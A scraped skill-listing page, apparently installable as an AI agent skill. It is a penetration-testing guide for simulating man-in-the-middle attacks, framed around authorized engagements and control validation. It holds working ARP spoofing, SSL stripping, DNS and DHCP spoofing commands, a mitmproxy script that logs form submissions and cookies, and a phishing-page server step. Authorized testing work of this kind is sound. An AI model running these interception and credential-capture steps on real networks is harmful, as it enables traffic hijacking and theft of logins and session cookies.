[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AE3A31T60RE874D4V6ZWWM":3,"skill-same:01M6AE3A31T60RE874D4V6ZWWM":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":41,"linkOnly":42,"markdownContent":43,"markdownBody":44,"frontMatter":45,"refName":59,"commitSha":60,"skillDirectory":61,"forksCount":62,"repositoryHtmlUrl":63,"repositoryHomepageUrl":64,"ownerHtmlUrl":65,"ownerBlogUrl":66,"ownerDescription":67,"updatedAt":68,"install":69,"resources":82},"01M6AE3A31T60RE874D4V6ZWWM","conducting-man-in-the-middle-attack-simulation",null,"Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-man-in-the-middle-attack-simulation\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40],"conducting man in the middle attack simulation","testing","security","cybersecurity","pr","validation","capabilities","network","network-security","encryption","mitm","bettercap","ettercap","mitmproxy","2026-11-10 10:12:30",false,"---\nname: conducting-man-in-the-middle-attack-simulation\ndescription: 'Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap\n  in authorized environments to intercept, analyze, and modify network traffic for\n  testing encryption enforcement, certificate validation, and detection capabilities.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- mitm\n- bettercap\n- ettercap\n- mitmproxy\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1557.001\n- T1557.002\n- T1040\n---\n# Conducting Man-in-the-Middle Attack Simulation\n\n## When to Use\n\n- Testing whether applications properly validate TLS certificates and enforce encrypted communications\n- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders\n- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented\n- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks\n- Training incident response teams to identify and respond to MITM attack indicators\n\n**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved MITM techniques\n- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine\n- Layer 2 access to the same network segment as target hosts\n- Custom CA certificate for TLS interception testing (generated specifically for the engagement)\n- Wireshark or tshark for capturing and verifying intercepted traffic\n- Isolated lab environment or approved production test window with rollback procedures\n\n## Workflow\n\n### Step 1: Set Up the Attack Environment\n\n```bash\n# Enable IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=1\nsudo sysctl -w net.ipv6.conf.all.forwarding=1\n\n# Disable ICMP redirects\nsudo sysctl -w net.ipv4.conf.all.send_redirects=0\n\n# Generate a CA certificate for TLS interception\nopenssl genrsa -out mitm-ca.key 4096\nopenssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \\\n  -subj \"\u002FCN=MITM Test CA\u002FO=Security Assessment\u002FC=US\"\n\n# Discover hosts on the target network\nsudo bettercap -iface eth0 -eval \"net.probe on; sleep 10; net.show; quit\"\n```\n\n### Step 2: Execute ARP-Based MITM with Bettercap\n\n```bash\n# Start Bettercap with interactive mode\nsudo bettercap -iface eth0\n\n# Enable network probing to discover hosts\n> net.probe on\n\n# Display discovered hosts\n> net.show\n\n# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)\n> set arp.spoof.targets 192.168.1.50\n> set arp.spoof.fullduplex true\n\n# Start ARP spoofing\n> arp.spoof on\n\n# Enable HTTP proxy for traffic inspection\n> set http.proxy.sslstrip true\n> http.proxy on\n\n# Enable HTTPS proxy with certificate interception\n> set https.proxy.certificate mitm-ca.crt\n> set https.proxy.key mitm-ca.key\n> https.proxy on\n\n# Enable DNS spoofing for specific domains\n> set dns.spoof.domains example.com,*.example.com\n> set dns.spoof.address 192.168.1.99\n> dns.spoof on\n\n# Enable credential sniffer\n> set net.sniff.verbose true\n> set net.sniff.filter \"tcp port 80 or tcp port 21 or tcp port 110\"\n> net.sniff on\n```\n\n### Step 3: Intercept HTTP\u002FHTTPS Traffic with mitmproxy\n\n```bash\n# Start mitmproxy as transparent proxy\nsudo mitmproxy --mode transparent --set confdir=~\u002F.mitmproxy \\\n  --set ssl_insecure=true -w mitm_capture.flow\n\n# Configure iptables to redirect traffic through mitmproxy\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080\n\n# Use mitmproxy scripting for automated credential extraction\ncat > extract_creds.py \u003C\u003C 'PYEOF'\n\"\"\"mitmproxy script to extract credentials from intercepted traffic.\"\"\"\nfrom mitmproxy import http\nimport json\n\ndef request(flow: http.HTTPFlow):\n    if flow.request.method == \"POST\":\n        content_type = flow.request.headers.get(\"content-type\", \"\")\n        if \"form\" in content_type or \"json\" in content_type:\n            with open(\"captured_forms.log\", \"a\") as f:\n                f.write(f\"URL: {flow.request.pretty_url}\\n\")\n                f.write(f\"Data: {flow.request.get_text()}\\n\")\n                f.write(\"---\\n\")\n\ndef response(flow: http.HTTPFlow):\n    # Log authentication cookies\n    if \"set-cookie\" in flow.response.headers:\n        with open(\"captured_cookies.log\", \"a\") as f:\n            f.write(f\"URL: {flow.request.pretty_url}\\n\")\n            f.write(f\"Cookie: {flow.response.headers['set-cookie']}\\n\")\n            f.write(\"---\\n\")\nPYEOF\n\nsudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow\n```\n\n### Step 4: Perform DNS Spoofing and DHCP Attacks\n\n```bash\n# DNS spoofing with Ettercap\nsudo tee \u002Fetc\u002Fettercap\u002Fetter.dns \u003C\u003C 'EOF'\n# Redirect target domain to attacker's web server\nexample.com      A   192.168.1.99\n*.example.com    A   192.168.1.99\nwww.example.com  A   192.168.1.99\nEOF\n\nsudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof \u002F192.168.1.50\u002F\u002F \u002F192.168.1.1\u002F\u002F\n\n# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)\nsudo bettercap -iface eth0\n> set dhcp6.spoof.domains example.com\n> dhcp6.spoof on\n\n# Set up a phishing page on the attacker machine\nsudo python3 -m http.server 80 --directory \u002Fvar\u002Fwww\u002Fphishing\u002F\n```\n\n### Step 5: Validate Detection and Test Controls\n\n```bash\n# Verify certificate pinning is working on the target application\n# If the app rejects the MITM CA, certificate pinning is effective\n# Check the target machine for certificate errors\n\n# Test HSTS enforcement\n# If browser refuses HTTP connection after initial HTTPS, HSTS is working\ncurl -v -k -L http:\u002F\u002Fexample.com 2>&1 | grep -i \"strict-transport-security\"\n\n# Verify IDS detection of ARP spoofing\n# Check Snort\u002FSuricata alerts for ARP anomalies\ngrep -i \"arp\" \u002Fvar\u002Flog\u002Fsnort\u002Falert_fast.txt\n\n# Check if switch detected the attack (DAI logs)\n# On Cisco switch: show ip arp inspection log\n\n# Test network monitoring tools\n# Verify that Zeek generated appropriate notices\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fnotice.log | zeek-cut note msg\n\n# Capture evidence of successful\u002Ffailed interception\ntshark -i eth0 -f \"host 192.168.1.50\" -w mitm_evidence.pcapng -a duration:300\n```\n\n### Step 6: Clean Up and Document Results\n\n```bash\n# Stop all MITM attacks\n# In Bettercap:\n> arp.spoof off\n> http.proxy off\n> https.proxy off\n> dns.spoof off\n> quit\n\n# Restore IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Remove iptables rules\nsudo iptables -t nat -F PREROUTING\n\n# Verify ARP tables are restored on target hosts\n# The target should re-learn correct MAC addresses via normal ARP\n\n# Force ARP cache refresh (from target machine)\n# arp -d 192.168.1.1 && ping -c 1 192.168.1.1\n\n# Remove test CA certificate from any systems where it was installed\n# Remove capture files containing sensitive data per engagement agreement\n\n# Generate documentation\necho \"MITM Simulation completed at $(date)\" >> mitm_report.txt\nsha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Man-in-the-Middle (MITM)** | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |\n| **SSL Stripping** | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |\n| **HSTS (HTTP Strict Transport Security)** | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |\n| **Certificate Pinning** | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |\n| **ARP Cache Poisoning** | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |\n| **Transparent Proxy** | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |\n\n## Tools & Systems\n\n- **Bettercap 2.x**: Swiss-army knife for network attacks supporting ARP\u002FDNS\u002FDHCP spoofing, HTTP\u002FHTTPS proxying, and credential sniffing with a modular architecture\n- **mitmproxy**: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP\u002FHTTPS traffic with Python scripting support\n- **Ettercap**: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation\n- **sslstrip**: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions\n- **Wireshark**: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts\n\n## Common Scenarios\n\n### Scenario: Testing HTTPS Enforcement on an Internal Web Application\n\n**Context**: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0\u002F24 VLAN.\n\n**Approach**:\n1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)\n2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP\n3. Enable HTTPS interception with a test CA certificate to test certificate validation\n4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection\n5. Verify that HSTS headers are present and have appropriate max-age values\n6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload\n7. Recommend implementing certificate pinning in the thick client application\n\n**Pitfalls**:\n- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception\n- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable\n- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target\n- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions\n\n## Output Format\n\n```\n## MITM Simulation Report\n\n**Test ID**: MITM-2024-001\n**Date**: 2024-03-15 14:00-16:00 UTC\n**Target Application**: https:\u002F\u002Fapp.internal.corp (10.10.20.50)\n**Test Workstation**: 10.10.1.100\n**Attacker Machine**: 10.10.1.99\n\n### Control Validation Results\n\n| Control | Status | Details |\n|---------|--------|---------|\n| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |\n| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |\n| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome\u002FFirefox |\n| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |\n| Cert Pinning (Browser) | N\u002FA | Standard CA validation only |\n| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |\n| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |\n\n### Recommendations\n1. Implement certificate pinning in the thick client (high priority)\n2. Add HSTS preload list submission for the domain\n3. Enable DAI on access-layer switches for Layer 2 protection\n4. Configure application to reject connections from non-pinned certificates\n```\n","# Conducting Man-in-the-Middle Attack Simulation\n\n## When to Use\n\n- Testing whether applications properly validate TLS certificates and enforce encrypted communications\n- Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders\n- Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented\n- Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks\n- Training incident response teams to identify and respond to MITM attack indicators\n\n**Do not use** on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.\n\n## Prerequisites\n\n- Written authorization specifying in-scope targets and approved MITM techniques\n- Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine\n- Layer 2 access to the same network segment as target hosts\n- Custom CA certificate for TLS interception testing (generated specifically for the engagement)\n- Wireshark or tshark for capturing and verifying intercepted traffic\n- Isolated lab environment or approved production test window with rollback procedures\n\n## Workflow\n\n### Step 1: Set Up the Attack Environment\n\n```bash\n# Enable IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=1\nsudo sysctl -w net.ipv6.conf.all.forwarding=1\n\n# Disable ICMP redirects\nsudo sysctl -w net.ipv4.conf.all.send_redirects=0\n\n# Generate a CA certificate for TLS interception\nopenssl genrsa -out mitm-ca.key 4096\nopenssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \\\n  -subj \"\u002FCN=MITM Test CA\u002FO=Security Assessment\u002FC=US\"\n\n# Discover hosts on the target network\nsudo bettercap -iface eth0 -eval \"net.probe on; sleep 10; net.show; quit\"\n```\n\n### Step 2: Execute ARP-Based MITM with Bettercap\n\n```bash\n# Start Bettercap with interactive mode\nsudo bettercap -iface eth0\n\n# Enable network probing to discover hosts\n> net.probe on\n\n# Display discovered hosts\n> net.show\n\n# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)\n> set arp.spoof.targets 192.168.1.50\n> set arp.spoof.fullduplex true\n\n# Start ARP spoofing\n> arp.spoof on\n\n# Enable HTTP proxy for traffic inspection\n> set http.proxy.sslstrip true\n> http.proxy on\n\n# Enable HTTPS proxy with certificate interception\n> set https.proxy.certificate mitm-ca.crt\n> set https.proxy.key mitm-ca.key\n> https.proxy on\n\n# Enable DNS spoofing for specific domains\n> set dns.spoof.domains example.com,*.example.com\n> set dns.spoof.address 192.168.1.99\n> dns.spoof on\n\n# Enable credential sniffer\n> set net.sniff.verbose true\n> set net.sniff.filter \"tcp port 80 or tcp port 21 or tcp port 110\"\n> net.sniff on\n```\n\n### Step 3: Intercept HTTP\u002FHTTPS Traffic with mitmproxy\n\n```bash\n# Start mitmproxy as transparent proxy\nsudo mitmproxy --mode transparent --set confdir=~\u002F.mitmproxy \\\n  --set ssl_insecure=true -w mitm_capture.flow\n\n# Configure iptables to redirect traffic through mitmproxy\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080\n\n# Use mitmproxy scripting for automated credential extraction\ncat > extract_creds.py \u003C\u003C 'PYEOF'\n\"\"\"mitmproxy script to extract credentials from intercepted traffic.\"\"\"\nfrom mitmproxy import http\nimport json\n\ndef request(flow: http.HTTPFlow):\n    if flow.request.method == \"POST\":\n        content_type = flow.request.headers.get(\"content-type\", \"\")\n        if \"form\" in content_type or \"json\" in content_type:\n            with open(\"captured_forms.log\", \"a\") as f:\n                f.write(f\"URL: {flow.request.pretty_url}\\n\")\n                f.write(f\"Data: {flow.request.get_text()}\\n\")\n                f.write(\"---\\n\")\n\ndef response(flow: http.HTTPFlow):\n    # Log authentication cookies\n    if \"set-cookie\" in flow.response.headers:\n        with open(\"captured_cookies.log\", \"a\") as f:\n            f.write(f\"URL: {flow.request.pretty_url}\\n\")\n            f.write(f\"Cookie: {flow.response.headers['set-cookie']}\\n\")\n            f.write(\"---\\n\")\nPYEOF\n\nsudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow\n```\n\n### Step 4: Perform DNS Spoofing and DHCP Attacks\n\n```bash\n# DNS spoofing with Ettercap\nsudo tee \u002Fetc\u002Fettercap\u002Fetter.dns \u003C\u003C 'EOF'\n# Redirect target domain to attacker's web server\nexample.com      A   192.168.1.99\n*.example.com    A   192.168.1.99\nwww.example.com  A   192.168.1.99\nEOF\n\nsudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof \u002F192.168.1.50\u002F\u002F \u002F192.168.1.1\u002F\u002F\n\n# DHCP spoofing with Bettercap (offer rogue DHCP with attacker as gateway)\nsudo bettercap -iface eth0\n> set dhcp6.spoof.domains example.com\n> dhcp6.spoof on\n\n# Set up a phishing page on the attacker machine\nsudo python3 -m http.server 80 --directory \u002Fvar\u002Fwww\u002Fphishing\u002F\n```\n\n### Step 5: Validate Detection and Test Controls\n\n```bash\n# Verify certificate pinning is working on the target application\n# If the app rejects the MITM CA, certificate pinning is effective\n# Check the target machine for certificate errors\n\n# Test HSTS enforcement\n# If browser refuses HTTP connection after initial HTTPS, HSTS is working\ncurl -v -k -L http:\u002F\u002Fexample.com 2>&1 | grep -i \"strict-transport-security\"\n\n# Verify IDS detection of ARP spoofing\n# Check Snort\u002FSuricata alerts for ARP anomalies\ngrep -i \"arp\" \u002Fvar\u002Flog\u002Fsnort\u002Falert_fast.txt\n\n# Check if switch detected the attack (DAI logs)\n# On Cisco switch: show ip arp inspection log\n\n# Test network monitoring tools\n# Verify that Zeek generated appropriate notices\ncat \u002Fopt\u002Fzeek\u002Flogs\u002Fcurrent\u002Fnotice.log | zeek-cut note msg\n\n# Capture evidence of successful\u002Ffailed interception\ntshark -i eth0 -f \"host 192.168.1.50\" -w mitm_evidence.pcapng -a duration:300\n```\n\n### Step 6: Clean Up and Document Results\n\n```bash\n# Stop all MITM attacks\n# In Bettercap:\n> arp.spoof off\n> http.proxy off\n> https.proxy off\n> dns.spoof off\n> quit\n\n# Restore IP forwarding\nsudo sysctl -w net.ipv4.ip_forward=0\n\n# Remove iptables rules\nsudo iptables -t nat -F PREROUTING\n\n# Verify ARP tables are restored on target hosts\n# The target should re-learn correct MAC addresses via normal ARP\n\n# Force ARP cache refresh (from target machine)\n# arp -d 192.168.1.1 && ping -c 1 192.168.1.1\n\n# Remove test CA certificate from any systems where it was installed\n# Remove capture files containing sensitive data per engagement agreement\n\n# Generate documentation\necho \"MITM Simulation completed at $(date)\" >> mitm_report.txt\nsha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Man-in-the-Middle (MITM)** | Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly |\n| **SSL Stripping** | Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption |\n| **HSTS (HTTP Strict Transport Security)** | Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections |\n| **Certificate Pinning** | Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates |\n| **ARP Cache Poisoning** | Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine |\n| **Transparent Proxy** | Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports |\n\n## Tools & Systems\n\n- **Bettercap 2.x**: Swiss-army knife for network attacks supporting ARP\u002FDNS\u002FDHCP spoofing, HTTP\u002FHTTPS proxying, and credential sniffing with a modular architecture\n- **mitmproxy**: Interactive TLS-capable proxy for intercepting, inspecting, and modifying HTTP\u002FHTTPS traffic with Python scripting support\n- **Ettercap**: Legacy MITM tool supporting ARP spoofing, DNS spoofing, and plugin-based traffic manipulation\n- **sslstrip**: Tool that implements SSL stripping attacks by proxying HTTP-to-HTTPS redirects and serving downgraded HTTP versions\n- **Wireshark**: Packet analyzer for verifying traffic interception and capturing evidence of successful or failed MITM attempts\n\n## Common Scenarios\n\n### Scenario: Testing HTTPS Enforcement on an Internal Web Application\n\n**Context**: A development team claims their internal web application enforces HTTPS with HSTS and certificate pinning. The security team needs to verify these controls during an authorized assessment. The application runs on 10.10.20.50 and is accessed by workstations on the 10.10.1.0\u002F24 VLAN.\n\n**Approach**:\n1. Set up Bettercap on the same VLAN and ARP-spoof a test workstation (10.10.1.100)\n2. Enable SSL stripping via Bettercap's HTTP proxy to test whether the application can be downgraded to HTTP\n3. Enable HTTPS interception with a test CA certificate to test certificate validation\n4. Attempt to access the application from the test workstation and observe whether the browser or application rejects the connection\n5. Verify that HSTS headers are present and have appropriate max-age values\n6. Document that the thick client does not implement certificate pinning (accepts the MITM CA) while the web browser properly rejects it due to HSTS preload\n7. Recommend implementing certificate pinning in the thick client application\n\n**Pitfalls**:\n- Forgetting to enable IP forwarding, causing a denial of service instead of transparent interception\n- Testing SSL stripping on an application with HSTS preloaded in the browser and concluding HSTS works, when a fresh browser instance might be vulnerable\n- Not cleaning up ARP spoofing after testing, causing intermittent connectivity issues for the target\n- Running mitmproxy without the transparent mode flag, requiring manual proxy configuration that changes the test conditions\n\n## Output Format\n\n```\n## MITM Simulation Report\n\n**Test ID**: MITM-2024-001\n**Date**: 2024-03-15 14:00-16:00 UTC\n**Target Application**: https:\u002F\u002Fapp.internal.corp (10.10.20.50)\n**Test Workstation**: 10.10.1.100\n**Attacker Machine**: 10.10.1.99\n\n### Control Validation Results\n\n| Control | Status | Details |\n|---------|--------|---------|\n| HTTPS Redirect | PASS | HTTP requests redirect to HTTPS with 301 |\n| HSTS Header | PASS | max-age=31536000; includeSubDomains; preload |\n| SSL Stripping (Browser) | BLOCKED | HSTS prevents downgrade in Chrome\u002FFirefox |\n| SSL Stripping (Thick Client) | VULNERABLE | Client follows HTTP redirect without HSTS |\n| Cert Pinning (Browser) | N\u002FA | Standard CA validation only |\n| Cert Pinning (Thick Client) | VULNERABLE | Accepts MITM CA without validation |\n| IDS Detection | PASS | Snort generated ARP spoof alert in 12 seconds |\n\n### Recommendations\n1. Implement certificate pinning in the thick client (high priority)\n2. Add HSTS preload list submission for the domain\n3. Enable DAI on access-layer switches for Layer 2 protection\n4. Configure application to reject connections from non-pinned certificates\n```\n",{"name":5,"tags":46,"author":47,"domain":30,"license":15,"version":48,"nist_csf":49,"subdomain":35,"description":54,"mitre_attack":55},[35,37,38,39,40],"mahipal","1.0",[50,51,52,53],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.\n",[56,57,58],"T1557.001","T1557.002","T1040","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fconducting-man-in-the-middle-attack-simulation",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":70,"prompt":80,"zipAvailable":81},[71,74,77],{"tool":72,"command":73},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill conducting-man-in-the-middle-attack-simulation",{"tool":75,"command":76},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill conducting-man-in-the-middle-attack-simulation",{"tool":78,"command":79},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill conducting-man-in-the-middle-attack-simulation","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-man-in-the-middle-attack-simulation\u002FSKILL.md",true,[83,88,94],{"path":84,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-man-in-the-middle-attack-simulation\u002FLICENSE",{"path":89,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fapi-reference.md","REFERENCE","参考文档",2228,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-man-in-the-middle-attack-simulation\u002Freferences\u002Fapi-reference.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",6574,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fconducting-man-in-the-middle-attack-simulation\u002Fscripts\u002Fagent.py",[101,126,150,174,200,227],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":108,"publishedAt":41},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[107],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[109,110,111,112,29,30,113,114,31,115,116,117,118,119,120,121,122,123,124,125],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":133,"publishedAt":41},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[132],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[134,122,135,136,29,137,30,31,138,139,140,141,142,143,144,145,146,147,148,149],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":158,"publishedAt":41},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or 